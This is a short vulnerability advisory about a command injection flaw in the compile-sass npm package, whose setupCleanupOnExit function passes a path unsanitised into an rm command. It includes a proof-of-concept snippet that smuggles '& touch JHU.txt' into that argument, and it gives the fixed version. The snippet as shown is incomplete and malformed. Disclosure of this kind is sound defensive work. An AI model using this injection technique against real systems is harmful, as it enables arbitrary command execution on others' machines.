Command Injection

compile-sass is a module to compile SASS on-the-fly and/or save it to CSS files.

Affected versions of this package are vulnerable to Command Injection. The function setupCleanupOnExit(cssPath) within dist/index.js is executed as part of the rm command without any sanitization.

PoC by JHU System Security Lab

function sleep(millis) {
    return new Promise(resolve => setTimeout(resolve, millis));
async function main(){
    var a = require('compile-sass');
    a.setupCleanupOnExit('& touch JHU.txt');
    console.log('Press Ctrl-C in 3 seconds...')
    await sleep(3000);

How to fix Command Injection?

Upgrade compile-sass to version 1.0.5 or higher.
